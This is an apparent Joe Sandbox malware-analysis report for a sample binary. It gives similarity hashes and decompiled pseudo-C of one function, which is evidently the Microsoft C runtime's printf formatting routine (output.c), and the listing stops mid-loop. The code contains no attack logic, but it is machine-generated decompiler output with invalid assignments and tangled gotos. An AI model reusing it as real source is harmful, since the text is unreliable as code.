Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2357813345-2363074782
Opcode ID: e821429edb126f05b6bde7abf53363d7098767fdcd71a20d00b335d10c1c49f1
Instruction ID: a6df7c045e8f2f2387d3ab161aeeb98e9fa4603b66870c2c9c56503e3be8cb07
Opcode Fuzzy Hash: e821429edb126f05b6bde7abf53363d7098767fdcd71a20d00b335d10c1c49f1
Instruction Fuzzy Hash: 3DA190B0D016289BDF24DF54CC4ABEEB7B1AB88305F1451DAE5187B281D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C0BA, Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043C0BA(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t482;
				signed int _t486;
				void* _t491;
				signed int _t493;
				void* _t501;
				void* _t519;
				signed int _t523;
				void* _t534;
				signed int _t576;
				void* _t598;
				void* _t599;
				signed int _t600;
				void* _t602;
				void* _t603;

				L0:
				while(1) {
					L0:
					_t599 = __esi;
					_t598 = __edi;
					_t534 = __ebx;
					_t482 = E004284A0(_t600 + 0x14);
					_t603 = _t602 + 4;
					 *(_t600 - 0x484) = _t482;
					if(E00434040() != 0) {
						goto L115;
					}
					L106:
					__ecx = 0;
					if(0 == 0) {
						 *(__ebp - 0x4f4) = 0;
					} else {
						 *(__ebp - 0x4f4) = 1;
					}
					__edx =  *(__ebp - 0x4f4);
					 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
					if( *(__ebp - 0x488) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E350();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x488) != 0) {
						L114:
						while(1) {
							L187:
							if( *(_t600 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t600 - 0x10) & 0x00000040) != 0) {
								if(( *(_t600 - 0x10) & 0x00000100) == 0) {
									if(( *(_t600 - 0x10) & 0x00000001) == 0) {
										if(( *(_t600 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t600 - 0x14)) = 0x20;
											 *(_t600 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t600 - 0x14)) = 0x2b;
										 *(_t600 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t600 - 0x14)) = 0x2d;
									 *(_t600 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t600 - 0x4ac)) =  *((intOrPtr*)(_t600 - 0x18)) -  *(_t600 - 0x24) -  *(_t600 - 0x1c);
							if(( *(_t600 - 0x10) & 0x0000000c) == 0) {
								E0043CAB0(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
							}
							E0043CAF0( *(_t600 - 0x1c), _t600 - 0x14,  *(_t600 - 0x1c),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
							_t603 = _t603 + 0x10;
							if(( *(_t600 - 0x10) & 0x00000008) != 0) {
								if(( *(_t600 - 0x10) & 0x00000004) == 0) {
									E0043CAB0(0x30,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
									_t603 = _t603 + 0x10;
								}
							}
							if( *(_t600 - 0xc) != 0) {
								L208:
								E0043CAF0( *(_t600 - 0x24),  *((intOrPtr*)(_t600 - 4)),  *(_t600 - 0x24),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t600 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 4));
								 *(_t600 - 0x4b4) =  *(_t600 - 0x24);
								while(1) {
									L203:
									 *(_t600 - 0x4b4) =  *(_t600 - 0x4b4) - 1;
									if( *(_t600 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t519 = E0041AE20(_t600 - 0x40);
									_t523 = E0043B550(_t600 - 0x458,  *((intOrPtr*)(_t600 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AE20(_t600 - 0x40))) + 0xac)), _t519);
									_t603 = _t603 + 0x10;
									 *(_t600 - 0x4b8) = _t523;
									if( *(_t600 - 0x4b8) > 0) {
										L206:
										E0043CA50( *(_t600 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0xc;
										 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 0x4b0)) +  *(_t600 - 0x4b8);
										continue;
									}
									L205:
									 *(_t600 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t600 - 0x44c) >= 0) {
									if(( *(_t600 - 0x10) & 0x00000004) != 0) {
										E0043CAB0(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0x10;
									}
								}
							}
							L212:
							if( *(_t600 - 0x20) != 0) {
								L0041C510( *(_t600 - 0x20), 2);
								_t603 = _t603 + 8;
								 *(_t600 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t600 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t600 + 0xc))));
								_t538 =  *(_t600 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t600 + 0xc)) =  *((intOrPtr*)(_t600 + 0xc)) + 2;
								if(( *(_t600 - 0x454) & 0x0000ffff) == 0 ||  *(_t600 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t600 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t600 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t600 - 0x4d8) = 0;
									} else {
										 *(_t600 - 0x4d8) =  *(( *(_t600 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
									}
								}
								L7:
								 *(_t600 - 0x450) =  *(_t600 - 0x4d8);
								_t576 =  *(_t600 - 0x450) * 9;
								_t493 =  *(_t600 - 0x45c);
								_t546 = ( *(_t576 + _t493 + 0x407e08) & 0x000000ff) >> 4;
								 *(_t600 - 0x45c) = ( *(_t576 + _t493 + 0x407e08) & 0x000000ff) >> 4;
								if( *(_t600 - 0x45c) != 8) {
									L16:
									 *(_t600 - 0x4e0) =  *(_t600 - 0x45c);
									if( *(_t600 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t600 - 0x4e0) * 4 +  &M0043C944))) {
										case 0:
											L18:
											 *(_t600 - 0xc) = 1;
											E0043CA50( *(_t600 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
											_t603 = _t603 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t58 =  *(__ebp - 0x4e4) + 0x43c97c; // 0x498d04
											__ecx =  *_t58 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C964))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t82;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t93;
												 *(__ebp - 0x30) = __ecx + _t93;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t101 =  *(__ebp - 0x4e8) + 0x43c9a4; // 0xc1b19003
											__ecx =  *_t101 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C990))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t600 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t142 =  *(__ebp - 0x4ec) + 0x43ca10; // 0xcccccc0d
											__eax =  *_t142 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043C9D4))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L82:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L84;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													L75:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x474) = E004284A0(__ebp + 0x14);
													__eflags =  *(__ebp - 0x474);
													if( *(__ebp - 0x474) == 0) {
														L77:
														__edx =  *0x440f80; // 0x404448
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
														L81:
														goto L187;
													}
													L76:
													__ecx =  *(__ebp - 0x474);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L81;
													}
													goto L77;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B890( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AE20(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0x7e8e98dc
															E00424690(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE20(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0x8a8e9826
																	E00424690(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE20(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0xc28e9826
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
															do {
																L187:
																if( *(_t600 - 0x28) != 0) {
																	goto L212;
																}
																goto L188;
															} while ( *(__ebp - 0x4ec) > 0x37);
															goto L66;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E004284A0(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041AE20(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AE20(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0043B550(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													goto L0;
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L84:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E004284A0(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L98:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x440f84; // 0x404438
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L101:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L102:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L103:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L104:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L105;
													} else {
														L88:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f80; // 0x404448
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L92:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L93:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L94:
															__ecx = __ebp - 0x40;
															E0041AE20(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E00431350( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L97:
														L105:
														while(1) {
															L187:
